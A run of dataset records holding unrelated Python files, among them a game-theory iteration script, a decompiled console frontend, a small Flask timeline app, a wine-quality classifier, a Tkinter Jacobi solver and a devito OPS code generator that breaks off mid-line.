firstPlayerPayOffs, \n secondPlayerPayOffs, \n firstPlayerMixStrategyDistribution, \n secondPlayerMixStrategyDistribution,\n numberOfIterations):\n m = len(firstPlayerPayOffs);\n n = len(secondPlayerPayOffs[0]);\n firstPlayerInitialDecision = np.ones(m)/m;\n secondPlayerInitialDecision = np.ones(n)/n;\n printPlayersIterationDecision(0, firstPlayerInitialDecision, secondPlayerInitialDecision);\n if (numberOfIterations > 0):\n for i in range(0, numberOfIterations):\n if (i == 0):\n [firstPlayerInitialDecision, secondPlayerInitialDecision] = playersDecisionWithMixStrategyIteration(\n firstPlayerPayOffs, \n secondPlayerPayOffs, \n firstPlayerInitialDecision, \n secondPlayerInitialDecision, \n firstPlayerMixStrategyDistribution, \n secondPlayerMixStrategyDistribution);\n printPlayersIterationDecision(1, firstPlayerInitialDecision, secondPlayerInitialDecision);\n else:\n [firstPlayerInitialDecision, secondPlayerInitialDecision] = playersDecisionWithoutMixStrategyIteration(\n firstPlayerPayOffs, \n secondPlayerPayOffs, \n firstPlayerInitialDecision, \n secondPlayerInitialDecision);\n printPlayersIterationDecision(i + 1, firstPlayerInitialDecision, secondPlayerInitialDecision);\n return [firstPlayerInitialDecision, secondPlayerInitialDecision]; \n\n#Multiple iteration over pay offs without mix strategy\ndef playersDecisionWithoutMixStrategyIterations(\n firstPlayerPayOffs, \n secondPlayerPayOffs,\n numberOfIterations):\n m = len(firstPlayerPayOffs);\n n = len(secondPlayerPayOffs[0]);\n firstPlayerInitialDecision = np.ones(m)/m;\n secondPlayerInitialDecision = np.ones(n)/n;\n printPlayersIterationDecision(0, firstPlayerInitialDecision, secondPlayerInitialDecision);\n if (numberOfIterations > 0):\n for i in range(0, numberOfIterations):\n [firstPlayerInitialDecision, secondPlayerInitialDecision] = playersDecisionWithoutMixStrategyIteration(\n firstPlayerPayOffs, \n secondPlayerPayOffs, \n firstPlayerInitialDecision, \n secondPlayerInitialDecision);\n printPlayersIterationDecision(i + 1, firstPlayerInitialDecision, secondPlayerInitialDecision);\n return [firstPlayerInitialDecision, secondPlayerInitialDecision];\n\n#Print players decision for iteration\ndef printPlayersIterationDecision(iteration, firstPlayerInitialDecision, secondPlayerInitialDecision):\n print('Iteration', iteration, ': P1 =', firstPlayerInitialDecision, '& P2 =', secondPlayerInitialDecision);\n\n\nprint('transformation unit test: ', \n linearTransformation(-4,-1, 1, 4, -2) );\nprint('normalization unit test: ', \n linearNormalization(-4,-1, -2) );\nprint('normalization of vector unit test: ', \n linearNormalizationOfVector(-4,-1, [-2, -1]));\nprint('normalization of matrix unit test: ', \n linearNormalizationOfMatrix(-4,-1, [[-2, -3], [-1, 0]]));\nprint('normalization of pay offs unit test: ', \n linearNormalizationOfPayOff([[-2, -3], [-1, 0]], \n [[-2, -4], [-1, 0]]));\nprint('weigting exception of vectors unit test: ', \n vectorWeightException([2, 3, 1, 0],\n [.2, .3, .2, .3], \n [.2, .4, .1, .3]));\nprint('weigting exception of matrix unit test: ', \n matrixWeightException([[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [.2, .3, .2, .3], \n [.2, .4, .1, .3]));\nprint('calculate decision for first player with mix strategy unit test: ', \n firstPlayerDecisionWithMixStrategyIteration([[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [.2, .3, .2, .3], \n [.2, .4, .1, .3])); \nprint('calculate decision for second player with mix strategy unit test: ', \n secondPlayerDecisionWithMixStrategyIteration(\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [.3, .4, .3], \n [.3, .5, .2])); \nprint('update decision for players with mix strategy unit test: ', \n playersDecisionWithMixStrategyIteration(\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [.3, .4, .3],\n [.2, .3, .2, .3],\n [.3, .5, .2],\n [.2, .4, .1, .3]));\nprint('update decision for players without mix strategy unit test: ', \n playersDecisionWithoutMixStrategyIteration(\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [.3, .4, .3],\n [.2, .3, .2, .3]));\nprint('Iterate decision for players with multipe mix strategy unit test: ', \n playersDecisionWithMultiTimesMixStrategyIterations(\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [.3, .5, .2],\n [.2, .4, .1, .3],\n 3));\nprint('Iterate decision for players with one time mix strategy unit test: ', \n playersDecisionWithOneTimeMixStrategyIterations(\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [.3, .5, .2],\n [.2, .4, .1, .3],\n 3));\nprint('Iterate decision for players without mix strategy unit test: ', \n playersDecisionWithoutMixStrategyIterations(\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n [[2, 3, 1, 0], [2, 3, 1, 0], [2, 3, 1, 0]],\n 3));\n","sub_path":"multi-layer-intelligence.py","file_name":"multi-layer-intelligence.py","file_ext":"py","file_size_in_byte":11047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"357508903","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/salamoia/frontends/console.py\n# Compiled at: 2007-12-02 16:26:54\nfrom salamoia.frontends.frontend import *\nfrom optparse import OptionGroup\nimport xmlrpclib, code, readline, atexit, os\nfrom salamoia.h2o.xmlclient import Client\nfrom salamoia.frontends.config import Config\n\nclass Console(Frontend):\n __module__ = __name__\n\n def name(self):\n return 'console'\n\n def options(self, parser):\n \"\"\"Return an option group specifing the front end specific options\"\"\"\n from optparse import OptionGroup\n optionGroup = OptionGroup(parser, 'Salamoia console options')\n optionGroup.add_option('-b', '--base', type='string', dest='base', help='base url')\n optionGroup.add_option('-p', '--port', type='string', dest='port', help='port')\n optionGroup.add_option('-H', '--host', type='string', dest='host', help='host')\n return optionGroup\n\n def run(self):\n (options, args) = self.optionParser.parse_args()\n self.options = options\n self.args = args\n historyPath = os.path.expanduser('~/.salamoia-console-history')\n\n def save_history(historyPath=historyPath):\n import readline\n readline.write_history_file(historyPath)\n\n if os.path.exists(historyPath):\n readline.read_history_file(historyPath)\n atexit.register(save_history)\n cfg = Config.defaultConfig()\n username = cfg.get('general', 'username')\n password = cfg.get('general', 'password')\n port = cfg.get('general', 'port')\n if self.options.port:\n port = self.options.port\n host = 'localhost'\n if self.options.host:\n host = self.options.host\n base = 'hostello'\n if self.options.base:\n base = self.options.base\n server = Client(host, port, base=base, username=username, password=password)\n code.interact(local={'server': server, 's': server, '__server__': server}, banner='Salamoia python interactive console')\n\n\ndef start():\n Console.start()","sub_path":"pycfiles/Salamoia-1.1.6-py2.4/console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"287842145","text":"\n\n# Exercise 05-02\n''''\nstudent name:Luis\nID:201810701580033\nclass:network 182\n'''\n\n\n\nn=int(input(\"Enter the number of values to insert: \"))\nmyList=[]\n\nfor i in range(0,n):\n\n get_num=int(input(\"Enter a number to insert: \"))\n myList.append(get_num)\n\nsum =sum(myList)\naverage=sum/len(myList)\nprint('Sum is:'+str(sum))\nprint('Average is:'+str(average))\n","sub_path":"Python_OOP/Exercise/Exercise 05/201810701580033 - Luis/5.2.py","file_name":"5.2.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"113358917","text":"#coding=utf-8\nfrom flask import session,redirect,request,render_template,Flask\n\nfrom curd import *\napp = Flask(__name__)\n\nimport os\ndef render_login_page():\n return render_template(\"home.html\")\n\ndef render_home_page(uid):\n user = get_user_from_id(uid)\n time_lines = get_time_lines()\n\n return render_template(\"index.html\",user=user,time_lines=time_lines)\n\n\n@app.route('/')\ndef index():\n if 'uid' in session:\n return render_home_page(session['uid'])\n\n return redirect('/login')\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'GET':\n return render_login_page()\n\n elif request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n user = get_user_from_username_and_password(username, password)\n if user is not None:\n session['uid'] = user['id']\n return redirect('/')\n else:\n return redirect('/login')\n\n@app.route('/create_time_line', methods=['POST'])\ndef time_line():\n if 'uid' in session:\n uid = session['uid']\n create_time_line(uid, request.form['content'])\n return redirect('/')\n@app.route('/delete/time_line/')\ndef delete_time_line(tid):\n if 'uid' in session:\n user_delete_time_line_of_id(session['uid'], tid)\n return redirect('/')\n\n@app.route('/logout')\ndef logout():\n if 'uid' in session:\n session.pop('uid')\n return redirect('/login')\n\n\nif __name__ == '__main__':\n app.secret_key = os.urandom(24)\n app.run(debug=True)","sub_path":"flask_xss/flaskcon.py","file_name":"flaskcon.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"644315694","text":"#! /usr/bin/python3.7\n#\n# author: Krzysztof Czarnecki\n# email: czarnecki.krzysiek@gmail.com\n# opensource licence: GPL-3.0\n# application: GLOBSIM\n\n###\n### opt parsing\n###\n\nimport optparse, os\nimport ToolBox\n\nparser = optparse. OptionParser()\nparser.add_option(\"-f\", \"--db-file\", dest=\"dbfile\",\n metavar=\"FILE\", default=\"demo.sql\",\n help=\"saved simulator state\")\nparser.add_option(\"-p\", \"--province\", dest=\"province\",\n help=\"point nodes\")\nparser.add_option(\"-x\", \"--xnode\", dest=\"xnode\",\n action=\"store_true\", default=False,\n help=\"print xnode mode\")\nparser.add_option(\"-m\", \"--margin\", dest=\"margin\",\n help=\"margin/padding\", default=0)\nparser.add_option(\"-s\", \"--stream\", dest=\"stream\",\n help=\"stream resistance\")\nparser.add_option(\"-l\", \"--list\", dest=\"listv\",\n action=\"store_true\", default=False,\n help=\"print mode list\")\nparser.add_option(\"-t\", \"--type\", dest=\"type\", default=\"all\",\n help=\"terrain type: sea, land, all\")\nopts, args = parser.parse_args()\n\n###\n### main\n###\n\nimport BusyBoxSQL, math\ndriver = BusyBoxSQL.BusyBoxSQL(opts.dbfile)\n\nif opts.province is not None and not opts.xnode:\n ToolBox.print_output(f\"node: {opts.province}\")\n atoms = driver.get_node_atoms_as_dict(opts.province)\n ToolBox.print_output(f\"atoms: {len(atoms)}\")\n scale = driver.get_config_by_name(\"map_scale\")\n ToolBox.print_output(f\"area: {len(atoms)*scale}\")\n\n terrains = {}\n aperture = 0.0\n for atom in atoms.values():\n if atom[0] not in terrains.keys():\n terr = driver.get_terrain_as_dict(atom[0])\n terrains[atom[0]] = terr\n aperture += terrains[atom[0]][\"aperture\"]\n ToolBox.print_output(f\"aperture: {aperture*scale}\")\n \n popdict = driver.get_population_by_node_as_dict(opts.province)\n pop = sum([v for k,v in popdict.items() if k != \"node\"])\n ToolBox.print_output(f\"population: {pop}\")\n for k,v in popdict.items():\n if k == \"node\": continue\n if v == 0: continue\n ToolBox.print_output(f\"\\t+ {k}: {v}\")\n\n prod = driver.calc_production(opts.province) \n ToolBox.print_output(f\"production: {prod}\")\n\n control = driver.calc_control(opts.province)\n ToolBox.print_output(f\"control:\")\n totalc = 1.0\n for c, i in control.items():\n im = round(i, 3)\n ToolBox.print_output(f\"\\t+ {c}: {im}\")\n totalc -= i\n t = round(totalc, 3)\n ToolBox.print_output(f\"\\t- no-control: {t}\")\n \nelif opts.province is not None and opts.xnode:\n xyset = driver.get_node_coordinates_as_set(opts.province)\n m = int(opts.margin)\n\n w = min(xyset, key=lambda x: x[0])\n e = max(xyset, key=lambda x: x[0])\n s = max(xyset, key=lambda x: x[1])\n n = min(xyset, key=lambda x: x[1])\n print(f\"-s{s[1]+m} -n{n[1]-m} -w{w[0]-m} -e{e[0]+m}\")\n\nelif opts.listv:\n if opts.type == \"all\":\n nodes = driver.get_node_names_as_set()\n elif opts.type == \"sea\":\n diagram = driver.get_vector_diagram()\n nodes = [n for n in driver.get_node_names_as_set() if not diagram.check_land(n)]\n elif opts.type == \"land\":\n diagram = driver.get_vector_diagram()\n nodes = [n for n in driver.get_node_names_as_set() if diagram.check_land(n)]\n elif opts.type == \"capital\":\n dout = driver.get_controls_as_dict(\"capital\")\n if opts.xnode:\n nodes = \"-\".join([cap[0] for cap in dout.values()])\n else:\n nodes = [f\"{cap[0]} -> {ctrl}\" for ctrl, cap in dout.items()] \n else: raise ValueError(f\"Unkown type: {opts.type}. Available: sea, land, capital, or all.\")\n if not opts.xnode:\n for node in nodes:\n ToolBox.print_output(node)\n else: print(nodes)\n \nelif opts.stream:\n nodes = opts.stream.split(\"-\")\n assert len(nodes) > 1, \"(e) at least 2 provinces (X-Y-Z...) are needed\"\n diagram = driver.get_vector_diagram()\n\n rin = diagram.calc_enter_resistance(nodes[1], nodes[0])\n ToolBox.print_output(f\"in: {nodes[0]} --> {nodes[1]} = {rin}\")\n total = rin\n\n for p, t, n in zip(nodes, nodes[1:], nodes[2:]):\n rt = diagram.calc_transit_resistance(p, t, n)\n ToolBox.print_output(f\"{p} --> {t} --> {n} = {rt}\")\n total += rt\n \n rout = diagram.calc_enter_resistance(nodes[-2], nodes[-1])\n ToolBox.print_output(f\"out: {nodes[-2]} --> {nodes[-1]} = {rout}\")\n total += rout\n\n ToolBox.print_output(f\"end-end: {nodes[0]} --> {nodes[-1]} = {total}\")\n\nelse: # summary\n nodes = driver.get_node_names_as_set()\n diagram = driver.get_vector_diagram()\n totalatoms = len(diagram)\n\n buildset = set()\n buildatoms = 0\n coastatoms = 0\n naviatoms = 0\n\n for xy in diagram.keys():\n if diagram.check_buildable(*xy):\n buildset.add(diagram.get_node(*xy))\n buildatoms += 1\n if diagram.check_navigable(*xy) or diagram.check_coast(*xy):\n naviatoms += 1\n if diagram.check_coast(*xy):\n coastatoms += 1\n\n na = 100 * float(naviatoms)/totalatoms\n fa = 100 * float(buildatoms)/totalatoms\n ca = 100 * float(coastatoms)/totalatoms\n ToolBox.print_output(f\"total nodes: {len(nodes)}\")\n ToolBox.print_output(f\"buildable nodes: {len(buildset)} area: {fa} %\")\n ToolBox.print_output(f\"coast length: {coastatoms} / {ca} %\")\n ToolBox.print_output(f\"navigable area: {na} %\")\n\n total = 0\n people = {nat: 0 for nat in driver.get_nation_names_as_set()}\n for nat in people.keys():\n natdis = driver.get_population_as_dict(nat)\n tot = sum(natdis.values())\n people[nat] = tot\n total += tot\n ToolBox.print_output(f\"total population: {total}\")\n for n, p in people.items():\n frac = round(100 * float(p) / total, 3)\n ToolBox.print_output(f\" {n}: {p} {frac} %\")\n \n","sub_path":"node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":5909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"465820066","text":"from sklearn import svm\nimport numpy as np\nimport pandas as pd\nimport scipy.stats as stats\nfrom matplotlib import pyplot as plt\n\ndf = pd.read_csv(\"wineQualityReds.csv.xls\", encoding=\"latin1\")\n\nprint(df.head())\n\nfor x in df.columns:\n print(x)\n print(\"mean:\", np.mean(df[x]))\n print(\"std:\", np.std(df[x]))\n print(\"Ali je to normalna distribucija:\", stats.normaltest(df[x]))\n\"\"\"\nUnnamed: 0\nmean: 800.0\nstd: 461.5914499497003\nAli je to normalna distribucija: NormaltestResult(statistic=1255.5660015661529, pvalue=2.2767058698004423e-273)\nfixed.acidity\nmean: 8.319637273295838\nstd: 1.7405518001102782\nAli je to normalna distribucija: NormaltestResult(statistic=224.53087840457746, pvalue=1.7528277735470436e-49)\nvolatile.acidity\nmean: 0.5278205128205131\nstd: 0.17900370424468975\nAli je to normalna distribucija: NormaltestResult(statistic=143.4193435598286, pvalue=7.1925890397566919e-32)\ncitric.acid\nmean: 0.2709756097560964\nstd: 0.1947402144523329\nAli je to normalna distribucija: NormaltestResult(statistic=152.039214793795, pvalue=9.6628222592810181e-34)\nresidual.sugar\nmean: 2.5388055034396517\nstd: 1.4094871124880504\nAli je to normalna distribucija: NormaltestResult(statistic=1520.3239698236891, pvalue=0.0)\nchlorides\nmean: 0.08746654158849257\nstd: 0.04705058260331576\nAli je to normalna distribucija: NormaltestResult(statistic=1783.1059225626427, pvalue=0.0)\nfree.sulfur.dioxide\nmean: 15.874921826141339\nstd: 10.456885614930723\nAli je to normalna distribucija: NormaltestResult(statistic=342.25914842512378, pvalue=4.779365332171477e-75)\ntotal.sulfur.dioxide\nmean: 46.46779237023139\nstd: 32.88503665178367\nAli je to normalna distribucija: NormaltestResult(statistic=487.42725648953467, pvalue=1.4338908343435381e-106)\ndensity\nmean: 0.9967466791744833\nstd: 0.0018867437008323923\nAli je to normalna distribucija: NormaltestResult(statistic=30.707749940958617, pvalue=2.1473202738030206e-07)\npH\nmean: 3.311113195747343\nstd: 0.15433818141060152\nAli je to normalna distribucija: NormaltestResult(statistic=33.684697471483915, pvalue=4.8468645347727716e-08)\nsulphates\nmean: 0.6581488430268921\nstd: 0.16945396724179526\nAli je to normalna distribucija: NormaltestResult(statistic=906.89444792270365, pvalue=1.1759065222978855e-197)\nalcohol\nmean: 10.422983114446502\nstd: 1.0653343003437463\nAli je to normalna distribucija: NormaltestResult(statistic=154.17806951912516, pvalue=3.3163288473185496e-34)\nquality\nmean: 5.6360225140712945\nstd: 0.8073168769639486\nAli je to normalna distribucija: NormaltestResult(statistic=17.262400816355541, pvalue=0.00017845030333854989)\n_______\nVidimo, da nobena od kategorij ne pripada normalni distribuciji\nZa standardiziranje kategorij bom uporabil kar rescale?\n\"\"\"\n\n\n\n\n# rescale data to 0 - 1\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.feature_selection import VarianceThreshold\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import chi2\n\n#sel = VarianceThreshold(threshold=(0.8*(1-0.8)))\n#sel = SelectKBest(chi2, k=11)\n#trainAtributi = sel.fit_transform(trainAtributi, trainRazred)\n#testAtributi = sel.fit_transform(testAtributi, testRazred)\n\n### VEČINSKI KLASIFIKATOR\nfrom collections import defaultdict\nfrom sklearn.neural_network import MLPClassifier\n\nindices = np.random.permutation(len(df))\n#len(df)*7//10 === len(df) * 7/10 === len(df) * 0.7\ntrain = df.iloc[indices[:len(df)*7//10], :]\ntest = df.iloc[indices[-len(df)*7//10:], :]\n\ntrainAtributi = train.iloc[:, 1:-1]\ntrainRazred = train.iloc[:, -1]\n\ntestAtributi = test.iloc[:, 1:-1]\ntestRazred = test.iloc[:, -1]\n\nslovar = defaultdict(int)\nfor x in trainRazred:\n slovar[x] += 1\nmaksimalni = 0\nkdo = \"\"\nfor key in slovar:\n if slovar[key] > maksimalni:\n maksimalni = slovar[key]\n kdo = key\nprint(\"Večinski razred je\", kdo)\nvečinski = np.array(trainRazred) == kdo\nvec = sum(večinski)/len(večinski)\nprint(\"Večinski klasifikator, točnost:\",vec)\n\nsvmTocnost = []\nnevronTocnost = []\n\nfor k in range(1):\n #razdelimo na train in test\n indices = np.random.permutation(len(df))\n #len(df)*7//10 === len(df) * 7/10 === len(df) * 0.7\n train = df.iloc[indices[:len(df)*7//10], :]\n test = df.iloc[indices[-len(df)*7//10:], :]\n\n trainAtributi = train.iloc[:, 1:-1]\n trainRazred = train.iloc[:, -1]\n\n testAtributi = test.iloc[:, 1:-1]\n testRazred = test.iloc[:, -1]\n\n scaler = MinMaxScaler(feature_range=(0, 1))\n trainRescaled = scaler.fit_transform(trainAtributi)\n\n\n svc = svm.SVC(kernel=\"linear\")\n svmTocnost.append(svc.fit(trainRescaled, trainRazred).score(scaler.transform(testAtributi), testRazred))\n\n ### NEVRONSKE MREŽE\n\n clf = MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(5, 2), random_state=2)\n nevronTocnost.append(clf.fit(trainRescaled, trainRazred).score(scaler.transform(testAtributi), testRazred))\n\nsT = np.mean(svmTocnost)\nnT = np.mean(nevronTocnost)\nprint(\"SVM:\",sT , \"\\nNevronske:\", nT)\n\n\"\"\"\nVečinski razred je 5\nVečinski klasifikator, točnost: 0.430741733691\nSVM: 0.589285714286 \nNevronske: 0.627678571429\n\"\"\"\n\n\nfrom pandas.tools.plotting import scatter_matrix\n\nscatter_matrix(df, alpha=0.2, figsize=(20,10), diagonal=\"kde\")\nplt.show()\n\nfig, ax = plt.subplots(figsize=(20,20))\nax.hist(df.iloc[:, -1], color=\"blue\", alpha=0.8, align=\"mid\")\nax.set_title(\"Quality\")\nax.set_xlabel(\"Quality\")\nfig.savefig(\"Quality.pdf\", bbox_inches=\"tight\")\n\n# Izrisi se nekaj atributov, ki korelirajo :)\n\n#fixed.acidity\n#density\n\nfig, ax = plt.subplots(figsize=(20,20))\nax.scatter(df[\"fixed.acidity\"], df[\"density\"], color=\"blue\", alpha=0.8)\nax.set_title(\"Correlation between f. acid. and density\")\nax.set_ylabel(\"Density\")\nax.set_xlabel(\"Fixed Acidity\")\n\n#calculate correlation\nfrom scipy.stats import pearsonr\n\nkorelacija = pearsonr(df[\"fixed.acidity\"], df[\"density\"])\nkorelacija = np.round(korelacija, 4)\nax.text(6, max(df[\"density\"]), \"Korelacija: \"+ str(korelacija[0]), size=10)\n\ncoeficienti, covarianca = np.polyfit(df[\"fixed.acidity\"], df[\"density\"], deg=3, cov=True)\n\n# interpolacija\ninter = np.linspace(min(df[\"fixed.acidity\"]), max(df[\"fixed.acidity\"]), 500)\n# n je stopnja polinoma\nn = 3\n# matrix with rows 1, inter, inter**2, ...\nINTER = np.vstack( [inter**(n-1) for n in range(n+1)] ).T\n## matrix multiplication calculates the polynomial values\nyi = np.dot(INTER, coeficienti)\n# C_y = INTER*COVARIANCA*INTER.T\nC_y = np.dot(INTER, np.dot(covarianca, INTER.T))\n# Standard deviations are sqrt of diagonal\nsig_y = np.sqrt(np.diag(C_y))\n\nfunkcija = np.poly1d(coeficienti)\nax.plot(np.unique(df[\"fixed.acidity\"]), funkcija(np.unique(df[\"fixed.acidity\"])), linewidth=2, color=\"red\", alpha=0.6)\n#ax.fill_between(inter, yi+sig_y, yi-sig_y, color=\"red\", alpha=0.6)\nfig.savefig(\"korelacija.pdf\", bbox_inches=\"tight\")\nplt.show()\n","sub_path":"redWine/redwine.py","file_name":"redwine.py","file_ext":"py","file_size_in_byte":6757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"19757399","text":"from numpy import array, zeros, diag, diagflat, dot, absolute\nimport numpy as np\nfrom tkinter import Tk, Frame, Label, Entry, Button, Toplevel, messagebox\n\nclass App:\n def __init__(self, master=None):\n self.container1 = Frame(master)\n self.container1.pack()\n\n self.container2 = Frame(master)\n self.container2.pack()\n\n self.label1 = Label(self.container1, text=\"Número de funções:\")\n self.label1.pack(side=\"left\") \n\n self.func = Entry(self.container1, width=5)\n self.func.pack()\n\n self.matriz = Button(self.container2)\n self.matriz[\"text\"] = \"Matriz\"\n self.matriz[\"command\"] = self.matrix\n self.matriz.pack(side=\"left\")\n self.sair = Button(self.container2)\n self.sair[\"text\"] = \"Sair\"\n self.sair[\"command\"] = self.container1.quit\n self.sair.pack()\n \n def matrix(self):\n num = int(self.func.get())\n \n if num < 2 or num > 8:\n messagebox.showerror(\"Erro\", \"Número de equações deve ser 2 <= n <= 8\")\n return\n \n matrix_window(num)\n\ndef matrix_window(num):\n top = Toplevel()\n top.title(\"Método de Jacobi\")\n container = []\n \n a = {}\n first = True\n \n for i in range(num):\n c = Frame(top)\n c.pack()\n container.append(c)\n \n for j in range(num): \n if first:\n A = Label(c)\n A[\"text\"] = \"A=\"\n A.pack(side=\"left\")\n first = False\n index = (i, j)\n e = Entry(c, width=5)\n e.pack(side=\"left\")\n a[index] = e\n \n container2 = Frame(top)\n container2.pack()\n container3 = Frame(top)\n container3.pack()\n container4 = Frame(top)\n container4.pack()\n container5 = Frame(top)\n container5.pack()\n container6 = Frame(top)\n container6.pack()\n \n B = Label(container2)\n B[\"text\"] = \"b=\"\n B.pack(side=\"left\")\n b = []\n \n for i in range(num):\n e = Entry(container2, width=5)\n e.pack(side=\"left\")\n b.append(e)\n \n X = Label(container3)\n X[\"text\"] = \"x=\"\n X.pack(side=\"left\")\n x = []\n \n for i in range(num):\n e = Entry(container3, width=5)\n e.pack(side=\"left\")\n x.append(e)\n \n er = Label(container4)\n er[\"text\"] = \"err=\"\n er.pack(side=\"left\")\n er = Entry(container4, width=5)\n er.pack(side=\"left\")\n \n matriz = Button(container5)\n matriz[\"text\"] = \"Calcular\"\n matriz[\"command\"] = lambda: result(a, b, x, er, res, num)\n matriz.pack()\n \n res = Label(container6)\n res[\"text\"] = \"Resultado: \"\n res.pack()\n \ndef result(a, b, x, err, res, num):\n A = []\n B = []\n X = []\n er = 0\n \n for i in range(num):\n v = []\n B.append(float(b[i].get()))\n X.append(float(x[i].get()))\n \n for j in range(num):\n index = (i, j)\n \n v.append(float(a[index].get()))\n \n er = float(err.get())\n \n A.append(v)\n \n A = array(A)\n B = array(B)\n X = array(X)\n\n if not converge_condition(A):\n messagebox.showwarning(\"Aviso\", \"Critério das linhas não cumprido.\")\n \n r = jacobi(A, B, er, X)\n\n res[\"text\"] = \"Resultado: \" + r\n\ndef jacobi(A,b,err, x=None, N = 25): \n if x is None:\n x = zeros(len(A[0]))\n \n xn = x \n D = diag(A)\n R = A - diagflat(D)\n \n i = 0\n e = 0\n \n while True:\n xn = (b - dot(R,x)) / D\n x_diff = []\n for i in range(len(A)):\n x_diff.append(xn[i] - x[i])\n \n x = xn\n e = abs(np.max(absolute(x_diff)) / np.max(absolute(xn)))\n i += 1\n \n if e < err and i < N:\n break\n \n res = \"\"\n \n for i in range(len(x)):\n res += \"\\nx[\" + str(i) + \"] = \" + str(x[i])\n \n return res + \"\\nErro = \" + str(e)\n\ndef converge_condition(A):\n D = diag(A)\n R = A - diagflat(D)\n alpha = zeros(len(A))\n \n for i in range(len(A)):\n for j in range(len(A)):\n alpha[i] += R[i,j]\n alpha[i] = (alpha[i]/A[i,i]) \n\n maxAlpha = float(max(alpha))\n \n if(maxAlpha<1.0):\n return True\n \n return False\n\nGUI = Tk()\nGUI.title(\"Método de Jacobi\")\nApp(GUI)\nGUI.mainloop()\n\n","sub_path":"trab2/jacobi_gui.py","file_name":"jacobi_gui.py","file_ext":"py","file_size_in_byte":4839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"479957563","text":"#!/usr/bin/env python\n\n'''\nCreated by Samvel Khalatyan, Jul 09, 2012\nCopyright 2012, All rights reserved\n'''\n\nfrom __future__ import print_function\n\nimport os\nimport sys\n\nfrom config import config\nfrom template.options import parser\n\ndef main():\n class HelpExit(Exception): pass\n\n verbose = False\n try:\n opt_parser = parser()\n opt_parser.remove_option(\"--plots\")\n options, args = opt_parser.parse_args()\n\n # load application configuration\n #\n if not options.config:\n raise RuntimeError(\"application configuration is not specified\")\n\n config_ = config.load(os.path.expanduser(options.config))\n verbose = (options.verbose if options.verbose\n else config_[\"core\"][\"verbose\"])\n\n if verbose:\n print(\"loaded configuration from:\", options.config)\n\n if 1 == len(sys.argv):\n raise HelpExit()\n\n # import templates only here otherwise PyROOT inhercepts --help option\n import templates\n\n options.plots = \"/chi2\"\n app = templates.SignalOverSqrtSignalPlusBackground(options, args,\n config_)\n app.run()\n except HelpExit:\n opt_parser.print_help()\n\n return 0\n except Exception as error:\n if verbose:\n # print Exception traceback for debug\n import traceback\n\n traceback.print_tb(sys.exc_info()[2])\n\n print(error, file=sys.stderr)\n\n return 1\n else:\n return 0\n\nif \"__main__\" == __name__:\n sys.exit(main())\n","sub_path":"chi2/s_over_sqrt_sb.py","file_name":"s_over_sqrt_sb.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"284445668","text":"import cgen\nimport numpy as np\n\nfrom collections import defaultdict\n\nfrom devito import Eq\nfrom devito.ir.equations import ClusterizedEq\nfrom devito.ir.iet import (Call, Callable, Element, Expression, FindNodes, FindSymbols,\n IterationTree, List)\nfrom devito.ops.node_factory import OPSNodeFactory\nfrom devito.ops.types import OPSBlock, OPSDat, FunctionTimeAccess, ArrayAccess\nfrom devito.ops.utils import (extend_accesses, generate_ops_stencils, get_accesses,\n namespace)\nfrom devito.tools import dtype_to_cstr\nfrom devito.types import Constant, Indexed\nfrom devito.types.basic import FunctionPointer, Symbol, SymbolicArray, String\nfrom devito.symbolics.extended_sympy import Macro, Byref, ListInitializer\n\nOPS_WRITE = FunctionPointer(\"OPS_WRITE\")\nOPS_READ = FunctionPointer(\"OPS_READ\")\n\n\ndef opsit(trees, count):\n node_factory = OPSNodeFactory()\n expressions = []\n for tree in trees:\n expressions.extend(FindNodes(Expression).visit(tree.inner))\n\n it_range = []\n it_dims = 0\n for tree in trees:\n if isinstance(tree, IterationTree):\n it_range = [it.bounds() for it in tree]\n it_dims = len(tree)\n\n block = OPSBlock(namespace['ops_block'](count))\n block_init = Element(cgen.Initializer(\n block,\n Call(\"ops_decl_block\", [it_dims, String(block.name)], False)\n ))\n\n ops_expressions = []\n accesses = defaultdict(set)\n\n for i in reversed(expressions):\n extend_accesses(accesses, get_accesses(i.expr))\n ops_expressions.insert(0, Expression(make_ops_ast(i.expr, 